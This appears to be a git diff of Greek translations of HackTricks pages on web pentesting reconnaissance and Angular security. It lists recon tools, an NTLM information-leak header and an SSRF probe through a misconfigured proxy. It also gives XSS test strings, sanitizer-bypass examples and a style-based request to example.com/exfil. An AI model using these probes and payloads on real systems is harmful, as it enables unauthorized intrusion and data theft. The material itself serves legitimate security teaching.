- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Αυτό είναι ένα εργαλείο που χρησιμοποιείται για την ανακάλυψη endpoints για έναν δεδομένο στόχο. - [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Αυτό είναι ένα εργαλείο που χρησιμοποιείται για την ανακάλυψη endpoints για έναν δεδομένο στόχο.
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Ανακαλύψτε συνδέσμους από τη μηχανή wayback (κατεβάζοντας επίσης τις απαντήσεις στη μηχανή wayback και αναζητώντας περισσότερους συνδέσμους). - [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Ανακαλύψτε συνδέσμους από τη μηχανή wayback (κατεβάζοντας επίσης τις απαντήσεις στη μηχανή wayback και αναζητώντας περισσότερους συνδέσμους).
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (ακόμη και συμπληρώνοντας φόρμες) και επίσης βρείτε ευαίσθητες πληροφορίες χρησιμοποιώντας συγκεκριμένες κανονικές εκφράσεις. - [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (ακόμη και συμπληρώνοντας φόρμες) και επίσης βρείτε ευαίσθητες πληροφορίες χρησιμοποιώντας συγκεκριμένες κανονικές εκφράσεις.
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Το Spider Suite είναι ένα προηγμένο multi-feature GUI web security Crawler/Spider σχεδιασμένο για επαγγελματίες κυβερνοασφάλειας. - [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Το Spider Suite είναι ένα προηγμένο GUI web security Crawler/Spider σχεδιασμένο για επαγγελματίες κυβερνοασφάλειας.
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Είναι ένα πακέτο Go και [εργαλείο γραμμής εντολών](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) για την εξαγωγή URLs, δρόμων, μυστικών και άλλων ενδιαφέροντων δεδομένων από τον πηγαίο κώδικα JavaScript. - [**jsluice**](https://github.com/BishopFox/jsluice) (go): Είναι ένα πακέτο Go και [εργαλείο γραμμής εντολών](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) για την εξαγωγή URLs, δρόμων, μυστικών και άλλων ενδιαφέροντων δεδομένων από τον πηγαίο κώδικα JavaScript.
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): Το ParaForge είναι μια απλή **επέκταση Burp Suite** για **να εξάγει τις παραμέτρους και τα endpoints** από το αίτημα για να δημιουργήσει προσαρμοσμένες λίστες λέξεων για fuzzing και αρίθμηση. - [**ParaForge**](https://github.com/Anof-cyber/ParaForge): Το ParaForge είναι μια απλή **επέκταση Burp Suite** για **να εξάγει τις παραμέτρους και τα endpoints** από το αίτημα για να δημιουργήσει προσαρμοσμένες λίστες λέξεων για fuzzing και αρίθμηση.
- [**katana**](https://github.com/projectdiscovery/katana) (go): Καταπληκτικό εργαλείο για αυτό. - [**katana**](https://github.com/projectdiscovery/katana) (go): Καταπληκτικό εργαλείο για αυτό.
@ -270,8 +270,8 @@ _Σημειώστε ότι κάθε φορά που ανακαλύπτεται
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Βρείτε σπασμένους συνδέσμους μέσα σε HTML που μπορεί να είναι επιρρεπείς σε καταλήψεις. - [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Βρείτε σπασμένους συνδέσμους μέσα σε HTML που μπορεί να είναι επιρρεπείς σε καταλήψεις.
- **Αντίγραφα αρχείων**: Μόλις βρείτε όλα τα αρχεία, αναζητήστε αντίγραφα όλων των εκτελέσιμων αρχείων ("_.php_", "_.aspx_"...). Κοινές παραλλαγές για την ονομασία ενός αντιγράφου είναι: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp και file.old._ Μπορείτε επίσης να χρησιμοποιήσετε το εργαλείο [**bfac**](https://github.com/mazen160/bfac) **ή** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** - **Αντίγραφα αρχείων**: Μόλις βρείτε όλα τα αρχεία, αναζητήστε αντίγραφα όλων των εκτελέσιμων αρχείων ("_.php_", "_.aspx_"...). Κοινές παραλλαγές για την ονομασία ενός αντιγράφου είναι: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp και file.old._ Μπορείτε επίσης να χρησιμοποιήσετε το εργαλείο [**bfac**](https://github.com/mazen160/bfac) **ή** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
- **Ανακαλύψτε νέες παραμέτρους**: Μπορείτε να χρησιμοποιήσετε εργαλεία όπως [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **και** [**Param Miner**](https://github.com/PortSwigger/param-miner) **για να ανακαλύψετε κρυφές παραμέτρους. Αν μπορείτε, θα μπορούσατε να προσπαθήσετε να αναζητήσετε** κρυφές παραμέτρους σε κάθε εκτελέσιμο αρχείο web. - **Ανακαλύψτε νέες παραμέτρους**: Μπορείτε να χρησιμοποιήσετε εργαλεία όπως [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **και** [**Param Miner**](https://github.com/PortSwigger/param-miner) **για να ανακαλύψετε κρυφές παραμέτρους. Αν μπορείτε, θα μπορούσατε να προσπαθήσετε να αναζητήσετε** κρυφές παραμέτρους σε κάθε εκτελέσιμο web αρχείο.
- _Arjun όλες οι προεπιλεγμένες λίστες λέξεων:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) - _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params) - _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) - _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
@ -289,7 +289,7 @@ _Σημειώστε ότι κάθε φορά που ανακαλύπτεται
- Αναζητήστε **συνδέσμους** σε άλλα αρχεία μέσα στα **CSS** αρχεία. - Αναζητήστε **συνδέσμους** σε άλλα αρχεία μέσα στα **CSS** αρχεία.
- [Αν βρείτε ένα _**.git**_ αρχείο μπορεί να εξαχθεί κάποια πληροφορία](git.md). - [Αν βρείτε ένα _**.git**_ αρχείο μπορεί να εξαχθεί κάποια πληροφορία](git.md).
- Αν βρείτε ένα _**.env**_ πληροφορίες όπως api keys, κωδικούς βάσεων δεδομένων και άλλες πληροφορίες μπορεί να βρεθούν. - Αν βρείτε ένα _**.env**_ πληροφορίες όπως api keys, κωδικούς db και άλλες πληροφορίες μπορεί να βρεθούν.
- Αν βρείτε **API endpoints** θα [πρέπει επίσης να τα δοκιμάσετε](web-api-pentesting.md). Αυτά δεν είναι αρχεία, αλλά πιθανότατα θα "μοιάζουν" με αυτά. - Αν βρείτε **API endpoints** θα [πρέπει επίσης να τα δοκιμάσετε](web-api-pentesting.md). Αυτά δεν είναι αρχεία, αλλά πιθανότατα θα "μοιάζουν" με αυτά.
- **JS αρχεία**: Στην ενότητα spidering αναφέρθηκαν διάφορα εργαλεία που μπορούν να εξάγουν δρόμους από αρχεία JS. Επίσης, θα ήταν ενδιαφέρον να **παρακολουθείτε κάθε JS αρχείο που βρέθηκε**, καθώς σε ορισμένες περιπτώσεις, μια αλλαγή μπορεί να υποδηλώνει ότι μια πιθανή ευπάθεια εισήχθη στον κώδικα. Μπορείτε να χρησιμοποιήσετε για παράδειγμα [**JSMon**](https://github.com/robre/jsmon)**.** - **JS αρχεία**: Στην ενότητα spidering αναφέρθηκαν διάφορα εργαλεία που μπορούν να εξάγουν δρόμους από αρχεία JS. Επίσης, θα ήταν ενδιαφέρον να **παρακολουθείτε κάθε JS αρχείο που βρέθηκε**, καθώς σε ορισμένες περιπτώσεις, μια αλλαγή μπορεί να υποδηλώνει ότι μια πιθανή ευπάθεια εισήχθη στον κώδικα. Μπορείτε να χρησιμοποιήσετε για παράδειγμα [**JSMon**](https://github.com/robre/jsmon)**.**
- Θα πρέπει επίσης να ελέγξετε τα ανακαλυφθέντα JS αρχεία με [**RetireJS**](https://github.com/retirejs/retire.js/) ή [**JSHole**](https://github.com/callforpapers-source/jshole) για να δείτε αν είναι ευάλωτα. - Θα πρέπει επίσης να ελέγξετε τα ανακαλυφθέντα JS αρχεία με [**RetireJS**](https://github.com/retirejs/retire.js/) ή [**JSHole**](https://github.com/callforpapers-source/jshole) για να δείτε αν είναι ευάλωτα.
@ -298,7 +298,7 @@ _Σημειώστε ότι κάθε φορά που ανακαλύπτεται
- **JsFuck deobfuscation** (javascript με χαρακτήρες:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)). - **JsFuck deobfuscation** (javascript με χαρακτήρες:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)).
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.` - [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
- Σε πολλές περιπτώσεις, θα χρειαστεί να **κατανοήσετε τις κανονικές εκφράσεις** που χρησιμοποιούνται. Αυτό θα είναι χρήσιμο: [https://regex101.com/](https://regex101.com) ή [https://pythonium.net/regex](https://pythonium.net/regex). - Σε πολλές περιπτώσεις, θα χρειαστεί να **κατανοήσετε τις κανονικές εκφράσεις** που χρησιμοποιούνται. Αυτό θα είναι χρήσιμο: [https://regex101.com/](https://regex101.com) ή [https://pythonium.net/regex](https://pythonium.net/regex).
- Μπορείτε επίσης να **παρακολουθείτε τα αρχεία όπου ανιχνεύθηκαν φόρμες**, καθώς μια αλλαγή στην παράμετρο ή η εμφάνιση μιας νέας φόρμας μπορεί να υποδηλώνει μια πιθανή νέα ευάλωτη λειτουργικότητα. - Μπορείτε επίσης να **παρακολουθείτε τα αρχεία όπου ανιχνεύθηκαν φόρμες**, καθώς μια αλλαγή στην παράμετρο ή η εμφάνιση μιας νέας φόρμας μπορεί να υποδηλώνει μια πιθανή νέα ευάλωτη λειτουργία.
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)** **403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
@ -308,11 +308,11 @@ _Σημειώστε ότι κάθε φορά που ανακαλύπτεται
**502 Proxy Error** **502 Proxy Error**
Αν οποιαδήποτε σελίδα **απαντά** με αυτόν τον **κωδικό**, είναι πιθανό να είναι μια **κακώς ρυθμισμένη proxy**. **Αν στείλετε ένα HTTP αίτημα όπως: `GET https://google.com HTTP/1.1`** (με την κεφαλίδα host και άλλες κοινές κεφαλίδες), η **proxy** θα προσπαθήσει να **προσεγγίσει** _**google.com**_ **και θα έχετε βρει μια** SSRF. Αν οποιαδήποτε σελίδα **απαντά** με αυτόν τον **κωδικό**, πιθανότατα είναι μια **κακώς ρυθμισμένη proxy**. **Αν στείλετε ένα HTTP αίτημα όπως: `GET https://google.com HTTP/1.1`** (με την κεφαλίδα host και άλλες κοινές κεφαλίδες), η **proxy** θα προσπαθήσει να **προσεγγίσει** _**google.com**_ **και θα έχετε βρει μια** SSRF.
**NTLM Authentication - Info disclosure** **NTLM Authentication - Info disclosure**
Αν ο τρέχων server που ζητάει αυθεντικοποίηση είναι **Windows** ή αν βρείτε μια είσοδο που ζητάει τα **credentials** σας (και ζητάει το **domain** **name**), μπορείτε να προκαλέσετε μια **διαρροή πληροφοριών**.\ Αν ο τρέχων server ζητάει αυθεντικοποίηση είναι **Windows** ή αν βρείτε μια είσοδο που ζητάει τα **credentials** σας (και ζητάει το **domain** **name**), μπορείτε να προκαλέσετε μια **διαρροή πληροφοριών**.\
**Στείλτε** την **κεφαλίδα**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` και λόγω του πώς λειτουργεί η **NTLM αυθεντικοποίηση**, ο server θα απαντήσει με εσωτερικές πληροφορίες (έκδοση IIS, έκδοση Windows...) μέσα στην κεφαλίδα "WWW-Authenticate".\ **Στείλτε** την **κεφαλίδα**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` και λόγω του πώς λειτουργεί η **NTLM αυθεντικοποίηση**, ο server θα απαντήσει με εσωτερικές πληροφορίες (έκδοση IIS, έκδοση Windows...) μέσα στην κεφαλίδα "WWW-Authenticate".\
Μπορείτε να **αυτοματοποιήσετε** αυτό χρησιμοποιώντας το **nmap plugin** "_http-ntlm-info.nse_". Μπορείτε να **αυτοματοποιήσετε** αυτό χρησιμοποιώντας το **nmap plugin** "_http-ntlm-info.nse_".
@ -348,7 +348,7 @@ Entry_1:
Name: Notes Name: Notes
Description: Notes for Web Description: Notes for Web
Note: | Note: |
https://book.hacktricks.xyz/pentesting/pentesting-web https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/index.html
Entry_2: Entry_2:
Name: Quick Web Scan Name: Quick Web Scan

View File

@ -5,7 +5,7 @@
Checklist [from here](https://lsgeurope.com/post/angular-security-checklist). Checklist [from here](https://lsgeurope.com/post/angular-security-checklist).
* [ ] Το Angular θεωρείται ένα framework πλευράς πελάτη και δεν αναμένεται να παρέχει προστασία πλευράς διακομιστή * [ ] Το Angular θεωρείται ένα framework πλευράς πελάτη και δεν αναμένεται να παρέχει προστασία πλευράς διακομιστή
* [ ] Το sourcemap για τα scripts είναι απενεργοποιημένο στην παραμετροποίηση του έργου * [ ] Το sourcemap για τα scripts είναι απενεργοποιημένο στη ρύθμιση του έργου
* [ ] Η μη αξιόπιστη είσοδος χρήστη πάντα διαστρεβλώνεται ή καθαρίζεται πριν χρησιμοποιηθεί σε πρότυπα * [ ] Η μη αξιόπιστη είσοδος χρήστη πάντα διαστρεβλώνεται ή καθαρίζεται πριν χρησιμοποιηθεί σε πρότυπα
* [ ] Ο χρήστης δεν έχει έλεγχο πάνω σε πρότυπα πλευράς διακομιστή ή πλευράς πελάτη * [ ] Ο χρήστης δεν έχει έλεγχο πάνω σε πρότυπα πλευράς διακομιστή ή πλευράς πελάτη
* [ ] Η μη αξιόπιστη είσοδος χρήστη καθαρίζεται χρησιμοποιώντας ένα κατάλληλο πλαίσιο ασφαλείας πριν γίνει αξιόπιστη από την εφαρμογή * [ ] Η μη αξιόπιστη είσοδος χρήστη καθαρίζεται χρησιμοποιώντας ένα κατάλληλο πλαίσιο ασφαλείας πριν γίνει αξιόπιστη από την εφαρμογή
@ -14,7 +14,7 @@ Checklist [from here](https://lsgeurope.com/post/angular-security-checklist).
## What is Angular ## What is Angular
Το Angular είναι ένα **ισχυρό** και **ανοιχτού κώδικα** framework front-end που διατηρείται από την **Google**. Χρησιμοποιεί **TypeScript** για να βελτιώσει την αναγνωσιμότητα του κώδικα και την αποσφαλμάτωση. Με ισχυρούς μηχανισμούς ασφαλείας, το Angular αποτρέπει κοινές ευπάθειες πλευράς πελάτη όπως **XSS** και **ανοιχτές ανακατευθύνσεις**. Μπορεί να χρησιμοποιηθεί και στην **πλευρά του διακομιστή**, καθιστώντας τις παραμέτρους ασφαλείας σημαντικές από **και τις δύο πλευρές**. Το Angular είναι ένα **ισχυρό** και **ανοιχτού κώδικα** framework front-end που διατηρείται από την **Google**. Χρησιμοποιεί **TypeScript** για να βελτιώσει την αναγνωσιμότητα του κώδικα και την αποσφαλμάτωση. Με ισχυρούς μηχανισμούς ασφαλείας, το Angular αποτρέπει κοινές ευπάθειες πλευράς πελάτη όπως **XSS** και **ανοιχτές ανακατευθύνσεις**. Μπορεί να χρησιμοποιηθεί και στην **πλευρά του διακομιστή**, καθιστώντας τις ασφαλιστικές παραμέτρους σημαντικές από **και τις δύο πλευρές**.
## Framework architecture ## Framework architecture
@ -39,17 +39,17 @@ my-workspace/
├── angular.json #provides workspace-wide and project-specific configuration defaults ├── angular.json #provides workspace-wide and project-specific configuration defaults
└── tsconfig.json #provides the base TypeScript configuration for projects in the workspace └── tsconfig.json #provides the base TypeScript configuration for projects in the workspace
``` ```
Σύμφωνα με την τεκμηρίωση, κάθε εφαρμογή Angular έχει τουλάχιστον ένα συστατικό, το ριζικό συστατικό (`AppComponent`) που συνδέει μια ιεραρχία συστατικών με το DOM. Κάθε συστατικό ορίζει μια κλάση που περιέχει δεδομένα και λογική της εφαρμογής, και σχετίζεται με ένα HTML πρότυπο που ορίζει μια προβολή που θα εμφανίζεται σε ένα στοχευμένο περιβάλλον. Ο διακοσμητής `@Component()` αναγνωρίζει την κλάση αμέσως από κάτω του ως συστατικό και παρέχει το πρότυπο και σχετικές μεταδεδομένες πληροφορίες που είναι συγκεκριμένες για το συστατικό. Το `AppComponent` ορίζεται στο αρχείο `app.component.ts`. Σύμφωνα με την τεκμηρίωση, κάθε εφαρμογή Angular έχει τουλάχιστον ένα συστατικό, το ριζικό συστατικό (`AppComponent`) που συνδέει μια ιεραρχία συστατικών με το DOM. Κάθε συστατικό ορίζει μια κλάση που περιέχει δεδομένα και λογική της εφαρμογής, και σχετίζεται με ένα HTML template που ορίζει μια προβολή που θα εμφανίζεται σε ένα στοχευμένο περιβάλλον. Ο διακοσμητής `@Component()` αναγνωρίζει την κλάση αμέσως από κάτω του ως συστατικό και παρέχει το template και σχετικές μεταδεδομένες πληροφορίες που είναι συγκεκριμένες για το συστατικό. Το `AppComponent` ορίζεται στο αρχείο `app.component.ts`.
Τα Angular NgModules δηλώνουν ένα πλαίσιο μεταγλώττισης για ένα σύνολο συστατικών που είναι αφιερωμένο σε έναν τομέα εφαρμογής, μια ροή εργασίας ή ένα στενά σχετιζόμενο σύνολο δυνατοτήτων. Κάθε εφαρμογή Angular έχει ένα ριζικό module, που ονομάζεται συμβατικά `AppModule`, το οποίο παρέχει τον μηχανισμό εκκίνησης που εκκινεί την εφαρμογή. Μια εφαρμογή συνήθως περιέχει πολλά λειτουργικά modules. Το `AppModule` ορίζεται στο αρχείο `app.module.ts`. Τα Angular NgModules δηλώνουν ένα πλαίσιο μεταγλώττισης για ένα σύνολο συστατικών που είναι αφιερωμένο σε έναν τομέα εφαρμογής, μια ροή εργασίας ή ένα στενά σχετιζόμενο σύνολο δυνατοτήτων. Κάθε εφαρμογή Angular έχει ένα ριζικό module, που ονομάζεται συμβατικά `AppModule`, το οποίο παρέχει τον μηχανισμό εκκίνησης που εκκινεί την εφαρμογή. Μια εφαρμογή συνήθως περιέχει πολλά λειτουργικά modules. Το `AppModule` ορίζεται στο αρχείο `app.module.ts`.
Το Angular `Router` NgModule παρέχει μια υπηρεσία που σας επιτρέπει να ορίσετε μια διαδρομή πλοήγησης μεταξύ των διαφορετικών καταστάσεων εφαρμογής και ιεραρχιών προβολής στην εφαρμογή σας. Το `RouterModule` ορίζεται στο αρχείο `app-routing.module.ts`. Το Angular `Router` NgModule παρέχει μια υπηρεσία που σας επιτρέπει να ορίσετε μια διαδρομή πλοήγησης μεταξύ των διαφορετικών καταστάσεων εφαρμογής και ιεραρχιών προβολών στην εφαρμογή σας. Το `RouterModule` ορίζεται στο αρχείο `app-routing.module.ts`.
Για δεδομένα ή λογική που δεν σχετίζονται με μια συγκεκριμένη προβολή και θέλετε να μοιραστείτε μεταξύ των συστατικών, δημιουργείτε μια κλάση υπηρεσίας. Ο ορισμός της κλάσης υπηρεσίας προηγείται αμέσως από τον διακοσμητή `@Injectable()`. Ο διακοσμητής παρέχει τα μεταδεδομένα που επιτρέπουν σε άλλους παρόχους να εισάγονται ως εξαρτήσεις στην κλάση σας. Η εξάρτηση εισαγωγής (DI) σας επιτρέπει να διατηρείτε τις κλάσεις συστατικών σας λιτές και αποδοτικές. Δεν ανακτούν δεδομένα από τον διακομιστή, δεν επικυρώνουν την είσοδο του χρήστη ή δεν καταγράφουν απευθείας στην κονσόλα; αναθέτουν τέτοιες εργασίες σε υπηρεσίες. Για δεδομένα ή λογική που δεν σχετίζονται με μια συγκεκριμένη προβολή και θέλετε να μοιραστείτε μεταξύ των συστατικών, δημιουργείτε μια κλάση υπηρεσίας. Ο ορισμός μιας κλάσης υπηρεσίας προηγείται άμεσα από τον διακοσμητή `@Injectable()`. Ο διακοσμητής παρέχει τα μεταδεδομένα που επιτρέπουν σε άλλους παρόχους να εισάγονται ως εξαρτήσεις στην κλάση σας. Η εξάρτηση εισαγωγής (DI) σας επιτρέπει να διατηρείτε τις κλάσεις συστατικών σας λιτές και αποδοτικές. Δεν ανακτούν δεδομένα από τον διακομιστή, δεν επικυρώνουν την είσοδο του χρήστη, ούτε καταγράφουν απευθείας στην κονσόλα; αναθέτουν τέτοιες εργασίες σε υπηρεσίες.
## Ρύθμιση sourcemap ## Ρύθμιση sourcemap
Το πλαίσιο Angular μεταφράζει αρχεία TypeScript σε κώδικα JavaScript ακολουθώντας τις επιλογές `tsconfig.json` και στη συνέχεια κατασκευάζει ένα έργο με τη ρύθμιση `angular.json`. Κοιτάζοντας το αρχείο `angular.json`, παρατηρήσαμε μια επιλογή για να ενεργοποιήσουμε ή να απενεργοποιήσουμε ένα sourcemap. Σύμφωνα με την τεκμηρίωση Angular, η προεπιλεγμένη ρύθμιση έχει ένα αρχείο sourcemap ενεργοποιημένο για τα σενάρια και δεν είναι κρυφό από προεπιλογή: Το πλαίσιο Angular μεταφράζει αρχεία TypeScript σε κώδικα JavaScript ακολουθώντας τις επιλογές του `tsconfig.json` και στη συνέχεια κατασκευάζει ένα έργο με τη ρύθμιση του `angular.json`. Κοιτάζοντας το αρχείο `angular.json`, παρατηρήσαμε μια επιλογή για να ενεργοποιήσουμε ή να απενεργοποιήσουμε ένα sourcemap. Σύμφωνα με την τεκμηρίωση Angular, η προεπιλεγμένη ρύθμιση έχει ένα αρχείο sourcemap ενεργοποιημένο για τα scripts και δεν είναι κρυφό από προεπιλογή:
```json ```json
"sourceMap": { "sourceMap": {
"scripts": true, "scripts": true,
@ -68,24 +68,24 @@ my-workspace/
Μπορούμε να ταξινομήσουμε τη δέσμευση με βάση τη ροή δεδομένων: Μπορούμε να ταξινομήσουμε τη δέσμευση με βάση τη ροή δεδομένων:
* Πηγή δεδομένων προς στόχο προβολής (περιλαμβάνει αρεμβολή_, _ιδιότητες_, _attributes_, _classes_ και _styles_); μπορεί να εφαρμοστεί χρησιμοποιώντας `[]` ή `{{}}` στο πρότυπο; * Πηγή δεδομένων προς στόχο προβολής (περιλαμβάνει αρεμβολή_, _ιδιότητες_, _ατομικά χαρακτηριστικά_, _κλάσεις_ και _στυλ_); μπορεί να εφαρμοστεί χρησιμοποιώντας `[]` ή `{{}}` στο πρότυπο;
* Στόχος προβολής προς πηγή δεδομένων (περιλαμβάνει _γεγονότα_); μπορεί να εφαρμοστεί χρησιμοποιώντας `()` στο πρότυπο; * Στόχος προβολής προς πηγή δεδομένων (περιλαμβάνει _γεγονότα_); μπορεί να εφαρμοστεί χρησιμοποιώντας `()` στο πρότυπο;
* Δύο κατευθύνσεις; μπορεί να εφαρμοστεί χρησιμοποιώντας `[()]` στο πρότυπο. * Δύο κατευθύνσεων; μπορεί να εφαρμοστεί χρησιμοποιώντας `[()]` στο πρότυπο.
Η δέσμευση μπορεί να καλείται σε ιδιότητες, γεγονότα και attributes, καθώς και σε οποιοδήποτε δημόσιο μέλος μιας πηγής οδηγίας: Η δέσμευση μπορεί να καλείται σε ιδιότητες, γεγονότα και ατομικά χαρακτηριστικά, καθώς και σε οποιοδήποτε δημόσιο μέλος μιας πηγής οδηγίας:
| ΤΥΠΟΣ | ΣΤΟΧΟΣ | ΠΑΡΑΔΕΙΓΜΑΤΑ | | ΤΥΠΟΣ | ΣΤΟΧΟΣ | ΠΑΡΑΔΕΙΓΜΑΤΑ |
| -------- | ------------------------------------------------------- | ------------------------------------------------------------------ | | -------- | ------------------------------------------------------- | ------------------------------------------------------------------ |
| Ιδιότητα | Ιδιότητα στοιχείου, Ιδιότητα συστατικού, Ιδιότητα οδηγίας | \<img \[alt]="hero.name" \[src]="heroImageUrl"> | | Ιδιότητα | Ιδιότητα στοιχείου, Ιδιότητα συστατικού, Ιδιότητα οδηγίας | \<img \[alt]="hero.name" \[src]="heroImageUrl"> |
| Γεγονός | Γεγονός στοιχείου, Γεγονός συστατικού, Γεγονός οδηγίας | \<button type="button" (click)="onSave()">Αποθήκευση | | Γεγονός | Γεγονός στοιχείου, Γεγονός συστατικού, Γεγονός οδηγίας | \<button type="button" (click)="onSave()">Αποθήκευση |
| Δύο κατευθύνσεις | Γεγονός και ιδιότητα | \<input \[(ngModel)]="name"> | | Δύο κατευθύνσεων | Γεγονός και ιδιότητα | \<input \[(ngModel)]="name"> |
| Attribute | Attribute (η εξαίρεση) | \<button type="button" \[attr.aria-label]="help">help | | Ατομικό χαρακτηριστικό | Ατομικό χαρακτηριστικό (η εξαίρεση) | \<button type="button" \[attr.aria-label]="help">βοήθεια |
| Class | ιδιότητα class | \<div \[class.special]="isSpecial">Ειδικό | | Κλάση | Ιδιότητα κλάσης | \<div \[class.special]="isSpecial">Ειδικό |
| Style | ιδιότητα style | \<button type="button" \[style.color]="isSpecial ? 'red' : 'green'"> | | Στυλ | Ιδιότητα στυλ | \<button type="button" \[style.color]="isSpecial ? 'red' : 'green'"> |
## Μοντέλο ασφάλειας Angular ## Μοντέλο ασφάλειας Angular
Ο σχεδιασμός του Angular περιλαμβάνει κωδικοποίηση ή απολύμανση όλων των δεδομένων από προεπιλογή, καθιστώντας όλο και πιο δύσκολη την ανακάλυψη και εκμετάλλευση ευπαθειών XSS σε έργα Angular. Υπάρχουν δύο διακριτές περιπτώσεις για τη διαχείριση δεδομένων: Ο σχεδιασμός του Angular περιλαμβάνει την κωδικοποίηση ή την απολύμανση όλων των δεδομένων από προεπιλογή, καθιστώντας όλο και πιο δύσκολη την ανακάλυψη και εκμετάλλευση ευπαθειών XSS σε έργα Angular. Υπάρχουν δύο διακριτές περιπτώσεις για τη διαχείριση δεδομένων:
1. Παρεμβολή ή `{{user_input}}` - εκτελεί κωδικοποίηση ευαίσθητη στο πλαίσιο και ερμηνεύει την είσοδο του χρήστη ως κείμενο; 1. Παρεμβολή ή `{{user_input}}` - εκτελεί κωδικοποίηση ευαίσθητη στο πλαίσιο και ερμηνεύει την είσοδο του χρήστη ως κείμενο;
@ -98,7 +98,7 @@ test = "<script>alert(1)</script><h1>test</h1>";
``` ```
Αποτέλεσμα: `&lt;script&gt;alert(1)&lt;/script&gt;&lt;h1&gt;test&lt;/h1&gt;` Αποτέλεσμα: `&lt;script&gt;alert(1)&lt;/script&gt;&lt;h1&gt;test&lt;/h1&gt;`
2. Δέσμευση σε ιδιότητες, attributes, classes και styles ή `[attribute]="user_input"` - εκτελεί απολύμανση με βάση το παρεχόμενο ασφαλές πλαίσιο. 2. Δέσμευση σε ιδιότητες, ατομικά χαρακτηριστικά, κλάσεις και στυλ ή `[attribute]="user_input"` - εκτελεί απολύμανση με βάση το παρεχόμενο πλαίσιο ασφαλείας.
```jsx ```jsx
//app.component.ts //app.component.ts
@ -187,11 +187,11 @@ this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: u
Request URL: GET example.com/exfil/a Request URL: GET example.com/exfil/a
``` ```
Ο Angular παρέχει μια μέθοδο `sanitize` για να απολυμαίνει δεδομένα πριν τα εμφανίσει σε προβολές. Αυτή η μέθοδος χρησιμοποιεί το ασφαλές πλαίσιο που παρέχεται και καθαρίζει την είσοδο αναλόγως. Είναι, ωστόσο, κρίσιμο να χρησιμοποιείται το σωστό ασφαλές πλαίσιο για τα συγκεκριμένα δεδομένα και το πλαίσιο. Για παράδειγμα, η εφαρμογή ενός απολυμαντή με `SecurityContext.URL` σε περιεχόμενο HTML δεν παρέχει προστασία κατά των επικίνδυνων τιμών HTML. Σε τέτοιες περιπτώσεις, η κακή χρήση του ασφαλούς πλαισίου θα μπορούσε να οδηγήσει σε ευπάθειες XSS. Ο Angular παρέχει μια μέθοδο `sanitize` για να απολυμαίνει δεδομένα πριν τα εμφανίσει σε προβολές. Αυτή η μέθοδος χρησιμοποιεί το παρεχόμενο πλαίσιο ασφαλείας και καθαρίζει την είσοδο αναλόγως. Είναι, ωστόσο, κρίσιμο να χρησιμοποιείται το σωστό πλαίσιο ασφαλείας για τα συγκεκριμένα δεδομένα και το πλαίσιο. Για παράδειγμα, η εφαρμογή ενός απολυμαντή με `SecurityContext.URL` σε περιεχόμενο HTML δεν παρέχει προστασία κατά των επικίνδυνων τιμών HTML. Σε τέτοιες περιπτώσεις, η κακή χρήση του πλαισίου ασφαλείας θα μπορούσε να οδηγήσει σε ευπάθειες XSS.
### Εισαγωγή HTML ### Εισαγωγή HTML
